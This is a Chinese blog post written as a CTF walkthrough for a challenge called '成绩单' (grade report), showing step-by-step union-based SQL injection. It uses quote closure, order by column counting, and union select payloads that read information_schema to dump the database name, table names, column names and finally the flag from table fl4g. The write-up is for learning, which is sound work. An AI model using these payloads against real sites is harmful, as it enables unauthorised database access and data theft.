19.成绩单

 

先测试注入点~

 

 

 

 

 

 当输入 1的时候,返回的是龙龙龙的成绩单,当加一个引号,不返回结果,然后再输入1‘# 则返回龙龙的成绩,很明显,这里需要闭合,是字符型的注入。同理输入2,3分别能查到2,3号学生的成绩

1.order by确定列数 

观察表格,有名字和三科成绩了,所以就测试4或者更高

先试 1' order by 5#

 

 无反应~

再试1' order by 4#

那说明当前表只有4个字段并且只有4列。

2.联合查询,测试字段显示的顺序以及那些会回显,输入0' union select 1,2,3,4#

这里说一下为什么前面要用0,这道题只会显示一行,如果用1的话,会显示龙龙的成绩,这里只会显示一行,所以要让第一行不显示,直接用0。(除0以外其他数字也可以,如-1)

 

 

 

 3.暴库名  id = 0' union select 1,database(),user(),version()#

 

 4.暴数据库里的表名 id=0' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema='skctf_flag'#

 

 5.暴表里的字段名

id=0' union select 1,2,3,group_concat(column_name)from information_schema.columns where table_name='fl4g'#

id=0' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema='skctf_flag' and table_name ='fl4g'#

id=0' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name=0x666c3467#

id=0' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='fl4g'),3,4# 

可能的方法都整理了一遍,都可以得到相应的结果,自己去试~

 

 发现这个字段名(也称为列名)skctf_flag,和数据库名字相同誒!!!然后去读取数据 

 id=0' union select 1,2,3,skctf_flag from fl4g#

posted @ 2019-12-21 16:55  Kruskal  阅读(171)  评论(0编辑  收藏  举报